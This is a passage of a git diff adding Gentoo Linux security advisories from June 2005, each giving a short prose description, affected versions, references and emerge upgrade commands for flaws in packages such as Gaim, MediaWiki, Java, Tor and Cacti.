+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1879">CAN-2005-1879</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jun 2005 12:14:36 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Jun 2005 13:37:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Jun 2005 15:27:13 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-11.xml b/xml/htdocs/security/en/glsa/glsa-200506-11.xml
new file mode 100644
index 00000000..e719d2c1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-11.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-11">
+  <title>Gaim: Denial of Service vulnerabilities</title>
+  <synopsis>
+    Gaim contains two remote Denial of Service vulnerabilities.
+  </synopsis>
+  <product type="ebuild">gaim</product>
+  <announced>June 12, 2005</announced>
+  <revised>June 12, 2005: 01</revised>
+  <bug>95347</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">1.3.1</unaffected>
+      <vulnerable range="lt">1.3.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a full featured instant messaging client which handles a
+    variety of instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jacopo Ottaviani discovered a vulnerability in the Yahoo! file
+    transfer code when being offered files with names containing non-ASCII
+    characters (CAN-2005-1269).
+    </p>
+    <p>
+    Hugo de Bokkenrijder discovered a
+    vulnerability when receiving malformed MSN messages (CAN-2005-1934).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Both vulnerabilities cause Gaim to crash, resulting in a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/gaim-1.3.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://gaim.sourceforge.net/security/?id=18">Gaim Vulnerability: Remote Yahoo! crash</uri>
+    <uri link="http://gaim.sourceforge.net/security/?id=19">Gaim Vulnerability: MSN Remote DoS</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1269">CAN-2005-1269</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1934">CAN-2005-1934</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jun 2005 08:03:05 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Jun 2005 08:44:05 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Jun 2005 13:55:53 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-12.xml b/xml/htdocs/security/en/glsa/glsa-200506-12.xml
new file mode 100644
index 00000000..0bc6d304
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-12">
+  <title>MediaWiki: Cross-site scripting vulnerability</title>
+  <synopsis>
+    MediaWiki is vulnerable to a cross-site scripting attack that could allow
+    arbitrary scripting code execution.
+  </synopsis>
+  <product type="ebuild">mediawiki</product>
+  <announced>June 13, 2005</announced>
+  <revised>June 13, 2005: 01</revised>
+  <bug>95255</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mediawiki" auto="yes" arch="*">
+      <unaffected range="ge">1.4.5</unaffected>
+      <unaffected range="rge">1.3.13</unaffected>
+      <vulnerable range="lt">1.4.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MediaWiki is a collaborative editing software, used by big
+    projects like Wikipedia.
+    </p>
+  </background>
+  <description>
+    <p>
+    MediaWiki incorrectly handles page template inclusions, rendering
+    it vulnerable to cross-site scripting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could exploit this vulnerability to inject
+    malicious script code that will be executed in a user's browser session
+    in the context of the vulnerable site.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MediaWiki users should upgrade to the latest available
+    versions:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose www-apps/mediawiki</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=332231">MediaWiki 1.4.5 Release Notes</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jun 2005 11:34:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Jun 2005 11:34:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jun 2005 12:24:08 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-13.xml b/xml/htdocs/security/en/glsa/glsa-200506-13.xml
new file mode 100644
index 00000000..642bcaa9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-13.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-13">
+  <title>webapp-config: Insecure temporary file handling</title>
+  <synopsis>
+    The webapp-config utility insecurely creates temporary files in a world
+    writable directory, potentially allowing the execution of arbitrary
+    commands.
+  </synopsis>
+  <product type="ebuild">webapp-config</product>
+  <announced>June 17, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>91785</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/webapp-config" auto="yes" arch="*">
+      <unaffected range="ge">1.11</unaffected>
+      <vulnerable range="lt">1.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    webapp-config is a Gentoo Linux utility to help manage the installation
+    of web-based applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Eric Romang discovered webapp-config uses a predictable temporary
+    filename while processing certain options, resulting in a race
+    condition.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation of the race condition would allow an attacker
+    to disrupt the operation of webapp-config, or execute arbitrary shell
+    commands with the privileges of the user running webapp-config. A local
+    attacker could use a symlink attack to create or overwrite files with
+    the permissions of the user running webapp-config.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All webapp-config users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/webapp-config-1.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1707">CVE-2005-1707</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 10 May 2005 15:08:15 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 10 May 2005 15:49:46 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Jun 2005 08:32:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-14.xml b/xml/htdocs/security/en/glsa/glsa-200506-14.xml
new file mode 100644
index 00000000..8fab8197
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-14.xml
@@ -0,0 +1,105 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-14">
+  <title>Sun and Blackdown Java: Applet privilege escalation</title>
+  <synopsis>
+    Sun's and Blackdown's JDK or JRE may allow untrusted applets to elevate
+    their privileges.
+  </synopsis>
+  <product type="ebuild">sun-jdk sun-jre-bin blackdown-jre blackdown-jdk</product>
+  <announced>June 19, 2005</announced>
+  <revised>June 19, 2005: 01</revised>
+  <bug>96092</bug>
+  <bug>96229</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.08</unaffected>
+      <vulnerable range="lt">1.4.2.08</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.08</unaffected>
+      <vulnerable range="lt">1.4.2.08</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.02</unaffected>
+      <vulnerable range="lt">1.4.2.02</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jre" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.02</unaffected>
+      <vulnerable range="lt">1.4.2.02</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sun and Blackdown both provide implementations of the Java
+    Development Kit (JDK) and Java Runtime Environment (JRE).
+    </p>
+  </background>
+  <description>
+    <p>
+    Both Sun's and Blackdown's JDK and JRE may allow untrusted applets
+    to elevate privileges.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could embed a malicious Java applet in a web
+    page and entice a victim to view it. This applet can then bypass
+    security restrictions and execute any command or access any file with
+    the rights of the user running the web browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.4.2.08&quot;</code>
+    <p>
+    All Sun JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.4.2.08&quot;</code>
+    <p>
+    All Blackdown JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/blackdown-jdk-1.4.2.02&quot;</code>
+    <p>
+    All Blackdown JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/blackdown-jre-1.4.2.02&quot;</code>
+    <p>
+    Note to SPARC users: There is no stable secure Blackdown Java
+    for the SPARC architecture. Affected users should remove the package
+    until a SPARC package is released.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://sunsolve.sun.com/search/document.do?assetkey=1-26-101749-1">Sun Security Alert ID 101749</uri>
+    <uri link="http://www.blackdown.org/java-linux/java2-status/security/Blackdown-SA-2005-02.txt">Blackdown Java Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Jun 2005 16:05:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Jun 2005 17:03:44 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Jun 2005 10:34:14 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-15.xml b/xml/htdocs/security/en/glsa/glsa-200506-15.xml
new file mode 100644
index 00000000..b34d27c6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-15.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-15">
+  <title>PeerCast: Format string vulnerability</title>
+  <synopsis>
+    PeerCast suffers from a format string vulnerability that could allow
+    arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">peercast</product>
+  <announced>June 19, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>96199</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/peercast" auto="yes" arch="*">
+      <unaffected range="ge">0.1212</unaffected>
+      <vulnerable range="lt">0.1212</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PeerCast is a media streaming system based on P2P technology.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Bercegay of the GulfTech Security Research Team discovered that
+    PeerCast insecurely implements formatted printing when receiving a
+    request with a malformed URL.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability by sending a request
+    with a specially crafted URL to a PeerCast server to execute arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PeerCast users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/peercast-0.1212&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gulftech.org/?node=research&amp;article_id=00077-05282005">GulfTech Advisory</uri>
+    <uri link="http://www.peercast.org/forum/viewtopic.php?p=11596">PeerCast Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1806">CVE-2005-1806</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Jun 2005 19:02:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 15 Jun 2005 19:42:18 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Jun 2005 19:09:07 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-16.xml b/xml/htdocs/security/en/glsa/glsa-200506-16.xml
new file mode 100644
index 00000000..b27b972f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-16.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-16">
+  <title>cpio: Directory traversal vulnerability</title>
+  <synopsis>
+    cpio contains a flaw which may allow a specially crafted cpio archive to
+    extract files to an arbitrary directory.
+  </synopsis>
+  <product type="ebuild">cpio</product>
+  <announced>June 20, 2005</announced>
+  <revised>June 20, 2005: 01</revised>
+  <bug>90619</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-arch/cpio" auto="yes" arch="*">
+      <unaffected range="ge">2.6-r3</unaffected>
+      <vulnerable range="lt">2.6-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cpio is a file archival tool which can also read and write tar
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been found in cpio that can potentially allow
+    a cpio archive to extract its files to an arbitrary directory of the
+    creator's choice.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could create a malicious cpio archive which would
+    create files in arbitrary locations on the victim's system. This issue
+    could also be used in conjunction with a previous race condition
+    vulnerability (CAN-2005-1111) to change permissions on files owned by
+    the victim.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cpio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/cpio-2.6-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/396429">Original Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1111">CAN-2005-1111</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 03 May 2005 21:22:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 May 2005 15:24:08 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Jun 2005 20:39:43 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-17.xml b/xml/htdocs/security/en/glsa/glsa-200506-17.xml
new file mode 100644
index 00000000..c7a81228
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-17.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-17">
+  <title>SpamAssassin 3, Vipul's Razor: Denial of Service vulnerability</title>
+  <synopsis>
+    SpamAssassin and Vipul's Razor are vulnerable to a Denial of Service attack
+    when handling certain malformed messages.
+  </synopsis>
+  <product type="ebuild">SpamAssassin, Vipul's Razor</product>
+  <announced>June 21, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>94722</bug>
+  <bug>95492</bug>
+  <bug>96776</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-filter/spamassassin" auto="yes" arch="*">
+      <unaffected range="ge">3.0.4</unaffected>
+      <unaffected range="lt">3.0.1</unaffected>
+      <vulnerable range="lt">3.0.4</vulnerable>
+    </package>
+    <package name="mail-filter/razor" auto="yes" arch="*">
+      <unaffected range="ge">2.74</unaffected>
+      <vulnerable range="lt">2.74</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SpamAssassin is an extensible email filter which is used to identify
+    junk email. Vipul's Razor is a client for a distributed, collaborative
+    spam detection and filtering network.
+    </p>
+  </background>
+  <description>
+    <p>
+    SpamAssassin and Vipul's Razor contain a Denial of Service
+    vulnerability when handling special misformatted long message headers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted message an attacker could cause a Denial
+    of Service attack against the SpamAssassin/Vipul's Razor server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SpamAssassin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/spamassassin-3.0.4&quot;</code>
+    <p>
+    All Vipul's Razor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/razor-2.74&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1266">CAN-2005-1266</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2024">CVE-2005-2024</uri>
+    <uri link="http://mail-archives.apache.org/mod_mbox/spamassassin-announce/200506.mbox/%3c17072.35054.586017.822288@proton.pathname.com%3e">SpamAssassin Announcement</uri>
+    <uri link="http://sourceforge.net/mailarchive/forum.php?thread_id=7520323&amp;forum_id=4259">Vipul's Razor Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 08 Jun 2005 05:05:05 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Jun 2005 04:49:42 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-18.xml b/xml/htdocs/security/en/glsa/glsa-200506-18.xml
new file mode 100644
index 00000000..99767367
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-18.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-18">
+  <title>Tor: Information disclosure</title>
+  <synopsis>
+    A flaw in Tor may allow the disclosure of arbitrary memory portions.
+  </synopsis>
+  <product type="ebuild">tor</product>
+  <announced>June 21, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>96320</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/tor" auto="yes" arch="*">
+      <unaffected range="ge">0.0.9.10</unaffected>
+      <vulnerable range="lt">0.0.9.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tor is an implementation of second generation Onion Routing, a
+    connection-oriented anonymizing communication service.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in Tor allows attackers to view arbitrary memory contents from an
+    exit server's process space.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could exploit the memory disclosure to gain sensitive
+    information and possibly even private keys.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tor users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/tor-0.0.9.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.seul.org/or/announce/Jun-2005/msg00001.html">Tor Security Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2050">CVE-2005-2050</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Jun 2005 07:51:28 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Jun 2005 13:31:02 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Jun 2005 08:50:44 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-19.xml b/xml/htdocs/security/en/glsa/glsa-200506-19.xml
new file mode 100644
index 00000000..16d06c88
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-19.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-19">
+  <title>SquirrelMail: Several XSS vulnerabilities</title>
+  <synopsis>
+    Squirrelmail is vulnerable to several cross-site scripting vulnerabilities
+    which could lead to a compromise of webmail accounts.
+  </synopsis>
+  <product type="ebuild">SquirrelMail</product>
+  <announced>June 21, 2005</announced>
+  <revised>June 21, 2005: 01</revised>
+  <bug>95937</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4</unaffected>
+      <unaffected range="lt">1.4.0</unaffected>
+      <vulnerable range="lt">1.4.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP
+    and SMTP protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    SquirrelMail is vulnerable to several cross-site scripting issues,
+    most reported by Martijn Brinkers.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to read a specially-crafted e-mail or using a
+    manipulated URL, an attacker can execute arbitrary scripts running in
+    the context of the victim's browser. This could lead to a compromise of
+    the user's webmail account, cookie theft, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/squirrelmail-1.4.4&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.squirrelmail.org/security/issue/2005-06-15">SquirrelMail Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1769">CAN-2005-1769</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 19 Jun 2005 19:26:13 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Jun 2005 17:48:27 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-20.xml b/xml/htdocs/security/en/glsa/glsa-200506-20.xml
new file mode 100644
index 00000000..12569753
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-20.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-20">
+  <title>Cacti: Several vulnerabilities</title>
+  <synopsis>
+    Cacti is vulnerable to several SQL injection, authentication bypass and
+    file inclusion vulnerabilities.
+  </synopsis>
+  <product type="ebuild">cacti</product>
+  <announced>June 22, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>96243</bug>
+  <bug>97475</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/cacti" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6f</unaffected>
+      <vulnerable range="lt">0.8.6f</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cacti is a complete web-based frontend to rrdtool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cacti fails to properly sanitize input which can lead to SQL injection,
+    authentication bypass as well as PHP file inclusion.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could potentially exploit the file inclusion to execute
+    arbitrary code with the permissions of the web server. An attacker
+    could exploit these vulnerabilities to bypass authentication or inject
+    SQL queries to gain information from the database. Only systems with
+    register_globals set to "On" are affected by the file inclusion and
+    authentication bypass vulnerabilities. Gentoo Linux ships with
+    register_globals set to "Off" by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cacti users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/cacti-0.8.6f&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.cacti.net/release_notes_0_8_6e.php">Cacti Release Notes - 0.8.6e</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=267&amp;type=vulnerabilities&amp;flashstatus=false">iDEFENSE SQL injection advisory</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=266&amp;type=vulnerabilities&amp;flashstatus=false">iDEFENSE config_settings advisory</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=265&amp;type=vulnerabilities&amp;flashstatus=false">iDEFENSE remote file inclusion advisory</uri>
+    <uri link="http://www.cacti.net/release_notes_0_8_6f.php">Cacti  Release Notes - 0.8.6f</uri>
+    <uri link="http://www.hardened-php.net/advisory-032005.php">Hardened - PHP Project Cacti Multiple SQL Injection Vulnerabilities</uri>
+    <uri link="http://www.hardened-php.net/advisory-042005.php">Hardened - PHP Project Cacti Remote Command Execution Vulnerability</uri>
+    <uri link="http://www.hardened-php.net/advisory-052005.php">Hardened - PHP Project Cacti Authentification/Addslashes Bypass Vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1524">CVE-2005-1524</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1525">CVE-2005-1525</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1526">CVE-2005-1526</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Jun 2005 20:41:03 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 22 Jun 2005 08:16:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-21.xml b/xml/htdocs/security/en/glsa/glsa-200506-21.xml
new file mode 100644
index 00000000..1583ec1d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-21.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-21">
